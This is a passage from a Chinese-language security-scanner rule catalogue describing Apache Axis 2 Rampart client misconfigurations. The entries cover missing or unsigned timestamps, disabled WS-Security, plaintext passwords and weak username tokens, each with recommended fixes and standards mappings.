[17] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3860 CAT II, APP3260 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3860 CAT II, APP3260 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3860 CAT II, APP3260 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000180 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000180 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000180 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[23] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[24] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)
Axis 2 Service Requester Misconfiguration: Missing Outbound Timestamp
ABSTRACT
若缺少时间戳,会导致 SOAP 消息遭受 replay 攻击。
EXPLANATION
安全性时间戳可表明消息安全数据的“新鲜性”。如果攻击者截取了一则消息,稍后将其转发,则接收者能够拒绝此 replay 攻击,因为时间戳会指明该消息已过期。时间戳可包含有效期属性,通过该属性,可对安全语义的有效期设置一个硬限制。
为避免攻击者篡改时间戳,应对时间戳执行签名。如果 SOAP 消息的时间戳未经签名,则攻击者可在接收者不知情的情况下截取该消息、修改时间戳,以及转发该消息。在这种情况下,攻击者会欺骗接收者接受恶意消息。
下列 Apache Axis 2 Rampart 配置的 <items>
标签中缺少 Timestamp 指令,因此该客户端不会发送带有时间戳的请求。
1 | <axisconfig name="AxisJava2.0"> |
RECOMMENDATIONS
如果该服务提供支持,则将客户端配置为在输出的请求中发送时间戳。 下列 Apache Axis 2 Rampart 配置的 <items>
标签中包含 Timestamp 指令,因此它在输出的请求中包含时间戳。
1 | <axisconfig name="AxisJava2.0"> |
顺序非常重要!将 Timestamp 指令置于 Signature 指令和 Encrypt 指令之前,可确保对时间戳进行签名和加密。
REFERENCES
[1] Securing SOAP Messages with Rampart Apache Software Foundation
[2] Standards Mapping - Common Weakness Enumeration CWE ID 254
[3] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[4] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M3 Insufficient Transport Layer Protection
[5] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[6] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[7] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[8] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 4.1, Requirement 6.5.4
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 4.1, Requirement 6.5.4
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 4.1, Requirement 6.5.4
[12] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3260.1 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3870 CAT I, APP3260 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3870 CAT I, APP3260 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3870 CAT I, APP3260 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3870 CAT I, APP3260 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3870 CAT I, APP3260 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3870 CAT I, APP3260 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000180 CAT II, APSC-DV-000190 CAT I, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000180 CAT II, APSC-DV-000190 CAT I, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000180 CAT II, APSC-DV-000190 CAT I, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[22] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[23] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)
Axis 2 Service Requester Misconfiguration: Outbound WS-Security Not Enabled
ABSTRACT
若服务提供程序不使用 WS-Security,则难以保证消息的完整性或保密性。
EXPLANATION
WS-Security 是 SOAP 的扩展功能,无论采用何种传输协议,它都能提供端到端的消息完整性和保密性。不使用 WS-Security 时,将依靠传输安全性来保证消息的完整性和保密性。如果一项服务将消息转发到其他服务,则会使用中继点之间最薄弱的传输机制传送消息。WS-Security 可移除传输安全性 dependency,并将安全性内置到消息中。
若 Apache Axis 2 配置文件中缺少 OutflowSecurity 参数,则表明未启用输出消息的安全性。
RECOMMENDATIONS
将该客户端配置为对输出的请求使用 WS-Security。此配置应包含 OutflowSecurity 参数,如下例所示:
1 | <axisconfig name="AxisJava2.0"> |
REFERENCES
[1] Securing SOAP Messages with Rampart Apache Software Foundation
[2] Standards Mapping - Common Weakness Enumeration CWE ID 311
[3] Standards Mapping - FIPS200 CM
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M3 Insufficient Transport Layer Protection
[6] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[7] Standards Mapping - OWASP Top 10 2007 A9 Insecure Communications
[8] Standards Mapping - OWASP Top 10 2010 A9 Insufficient Transport Layer Protection
[9] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 4.1, Requirement 6.5.10
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 4.1, Requirement 6.3.1.4, Requirement 6.5.9
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 4.1, Requirement 6.5.4
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 4.1, Requirement 6.5.4
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 4.1, Requirement 6.5.4
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 4.1, Requirement 6.5.4
[16] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 319
[17] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 311
[18] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 311
[19] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260.1 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000180 CAT II, APSC-DV-000260 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000180 CAT II, APSC-DV-000260 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000180 CAT II, APSC-DV-000260 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[29] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[30] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)
Axis 2 Service Requester Misconfiguration: Plain Text Password
ABSTRACT
避免使用 WS-Security 密码类型 PasswordText。
EXPLANATION
使用 PasswordText 密码类型,可能表示实际密码是以明文发送的。WS-Security UsernameToken 配置文件说明UsernameToken <Password>
标签中发送的文本不限于实际密码,它还可以包含派生的密码。然而,开发人员通常发送的是实际密码而不是派生的密码。发送未经加密的密码或密码散列值,都会将凭证泄漏给可以截取信息流的任何人。
RECOMMENDATIONS
采用 PasswordDigest 密码类型,确保凭证在发送时已加密。采用 HTTPS 协议发送 SOAP 消息能确保凭证得到强大加密技术的保护,但如果消息将采用多种传输方式进行转发,更好的选择是使用 WS-Security 对消息自身进行加密。
下面提供了客户端配置,密码类型设为 PasswordDigest。
1 | <axisconfig name="AxisJava2.0"> |
REFERENCES
[1] Web Services Security Username Token Profile 1.0 OASIS
[2] Standards Mapping - Common Weakness Enumeration CWE ID 522
[3] Standards Mapping - FIPS200 MP
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M3 Insufficient Transport Layer Protection
[6] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[7] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[8] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[9] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 4.1, Requirement 6.5.10, Requirement 8.4
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 4.1, Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 4.1, Requirement 6.5.3, Requirement 8.4
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 4.1, Requirement 6.5.3, Requirement 8.2.1
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 4.1, Requirement 6.5.3, Requirement 8.2.1
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 4.1, Requirement 6.5.3, Requirement 8.2.1
[16] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3330 CAT I, APP3260.1 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3330 CAT I, APP3260 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3330 CAT I, APP3260 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3330 CAT I, APP3260 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3330 CAT I, APP3260 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3330 CAT I, APP3260 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3330 CAT I, APP3260 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000220 CAT II, APSC-DV-001750 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000220 CAT II, APSC-DV-001750 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000220 CAT II, APSC-DV-001750 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[26] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[27] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)
Axis 2 Service Requester Misconfiguration: Unsigned Inbound Timestamp
ABSTRACT
未经签名的时间戳会导致 SOAP 消息遭受 tampering 及 replay 攻击。
EXPLANATION
安全性时间戳可表明消息的“新鲜性”。如果攻击者截取了一则消息,稍后将其转发,则接收者能够拒绝此 replay 攻击,因为时间戳会指明该消息已过期。时间戳可包含有效期属性,通过该属性,可对安全语义的有效期设置一个硬限制。
为避免攻击者篡改时间戳,应对时间戳执行签名。如果 SOAP 消息的时间戳未经签名,则攻击者可在接收者不知情的情况下截取该消息、修改时间戳,以及转发该消息。在这种情况下,攻击者可能会欺骗接收者接受恶意消息。
下列客户端配置可让 Axis 2 接受未经签名的时间戳:
1 | <axisconfig name="AxisJava2.0"> |
RECOMMENDATIONS
将此客户端配置为对输入的时间戳验证签名。
下列客户端配置可让 Axis 2 验证来自服务提供程序的消息签名:
1 | <axisconfig name="AxisJava2.0"> |
顺序非常重要!将 Timestamp 指令置于 Signature 指令和 Encrypt 指令之前,可确保对时间戳进行签名和加密。
REFERENCES
[1] Securing SOAP Messages with Rampart Apache Software Foundation
[2] Web Services Security: SOAP Message Security 1.1 OASIS
[3] Standards Mapping - Common Weakness Enumeration CWE ID 345
[4] Standards Mapping - FIPS200 CM
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[6] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M3 Insufficient Transport Layer Protection
[7] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[8] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[9] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 4.1, Requirement 6.5.4
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 4.1, Requirement 6.5.4
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 4.1, Requirement 6.5.4
[14] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3260.1 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3860 CAT II, APP3260 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3860 CAT II, APP3260 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3860 CAT II, APP3260 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3860 CAT II, APP3260 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3860 CAT II, APP3260 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3860 CAT II, APP3260 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000180 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000180 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000180 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[24] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[25] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)
Axis 2 Service Requester Misconfiguration: Unsigned Outbound Timestamp
ABSTRACT
未经签名的时间戳会导致 SOAP 消息遭受 tampering 及 replay 攻击。
EXPLANATION
安全性时间戳可表明消息的“新鲜性”。如果攻击者截取了一则消息,稍后将其转发,则接收者能够拒绝此 replay 攻击,因为时间戳会指明该消息已过期。时间戳可包含有效期属性,通过该属性,可对安全语义的有效期设置一个硬限制。
为避免攻击者篡改时间戳,应对时间戳执行签名。如果 SOAP 消息的时间戳未经签名,则攻击者可在接收者不知情的情况下截取该消息、修改时间戳,以及转发该消息。在这种情况下,攻击者可能会欺骗接收者接受恶意消息。
下列客户端配置可让 Axis 2 发送未经签名的时间戳:
1 | <axisconfig name="AxisJava2.0"> |
RECOMMENDATIONS
将此客户端配置为对输出的时间戳进行签名。
下列客户端配置可让 Axis 2 对输出的时间戳进行签名:
1 | <axisconfig name="AxisJava2.0"> |
顺序非常重要!将 Timestamp 指令置于 Signature 指令和 Encrypt 指令之前,可确保对时间戳进行签名和加密。
REFERENCES
[1] Securing SOAP Messages with Rampart Apache Software Foundation
[2] Web Services Security: SOAP Message Security 1.1 OASIS
[3] Standards Mapping - Common Weakness Enumeration CWE ID 345
[4] Standards Mapping - FIPS200 CM
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[6] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M3 Insufficient Transport Layer Protection
[7] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[8] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[9] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 4.1, Requirement 6.5.4
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 4.1, Requirement 6.5.4
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 4.1, Requirement 6.5.4
[14] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3260.1 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3860 CAT II, APP3260 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3860 CAT II, APP3260 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3860 CAT II, APP3260 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3860 CAT II, APP3260 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3860 CAT II, APP3260 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3860 CAT II, APP3260 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000180 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000180 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000180 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[24] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[25] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)
Axis 2 Service Requester Misconfiguration: WS-Security Not Enabled
ABSTRACT
关闭 WS-Security 难以保证消息完整性和保密性。
EXPLANATION
未启用 Rampart WS-Security 模块。WS-Security 是 SOAP 的扩展功能,无论采用何种传输协议,它都能提供端到端的消息完整性和保密性。不使用 WS-Security 时,将依靠传输安全性来保证消息的完整性和保密性。如果一项服务将消息转发到其他服务,则会使用中继点之间最薄弱的传输机制传送消息。WS-Security 可移除传输安全性 dependency,并将安全性内置到消息中。
RECOMMENDATIONS
如果服务提供程序提供支持,则将客户端配置为使用 Rampart WS-Security 模块。在客户端配置文件中添加 <module ref=“rampart”/>
,便可启用此模块。
REFERENCES
[1] Securing SOAP Messages with Rampart Apache Software Foundation
[2] Standards Mapping - Common Weakness Enumeration CWE ID 311
[3] Standards Mapping - FIPS200 CM
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M3 Insufficient Transport Layer Protection
[6] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[7] Standards Mapping - OWASP Top 10 2007 A9 Insecure Communications
[8] Standards Mapping - OWASP Top 10 2010 A9 Insufficient Transport Layer Protection
[9] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 4.1, Requirement 6.5.10
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 4.1, Requirement 6.3.1.4, Requirement 6.5.9
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 4.1, Requirement 6.5.4
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 4.1, Requirement 6.5.4
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 4.1, Requirement 6.5.4
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 4.1, Requirement 6.5.4
[16] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 319
[17] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 311
[18] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 311
[19] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260.1 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000180 CAT II, APSC-DV-000260 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000180 CAT II, APSC-DV-000260 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000180 CAT II, APSC-DV-000260 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[29] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[30] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)
Axis 2 Service Requester Misconfiguration: Weak Token
ABSTRACT
若在未经加密的通道上使用 UsernameToken 及明文密码,则可截取 SOAP 消息的攻击者会趁机获取该密码。
EXPLANATION
若通过未经加密的通道发送明文密码,则可截取 SOAP 消息的攻击者会趁机获取凭证。
下列 Axis 2 客户端配置使用了 UsernameToken(一个密码):
1 | <axisconfig name="AxisJava2.0"> |
RECOMMENDATIONS
如果服务提供程序提供支持,则使用签名代替 UsernameToken。下面提供了一个配置示例:
1 | <axisconfig name="AxisJava2.0"> |
REFERENCES
[1] Securing SOAP Messages with Rampart Apache Software Foundation
[2] Web Services Security: SOAP Message Security 1.1 OASIS
[3] Web Services Security Username Token Profile 1.0 OASIS
[4] Standards Mapping - Common Weakness Enumeration CWE ID 311
[5] Standards Mapping - FIPS200 MP
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[7] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M3 Insufficient Transport Layer Protection
[8] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[9] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[10] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[11] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 4.1, Requirement 6.5.8, Requirement 8.4
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 4.1, Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 4.1, Requirement 6.5.3, Requirement 8.4
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 4.1, Requirement 6.5.3, Requirement 8.2.1
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 4.1, Requirement 6.5.3, Requirement 8.2.1
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 4.1, Requirement 6.5.3, Requirement 8.2.1
[18] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 311
[19] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 311
[20] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3330 CAT I, APP3260.1 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3330 CAT I, APP3260 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3330 CAT I, APP3260 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3330 CAT I, APP3260 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3330 CAT I, APP3260 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3330 CAT I, APP3260 CAT II
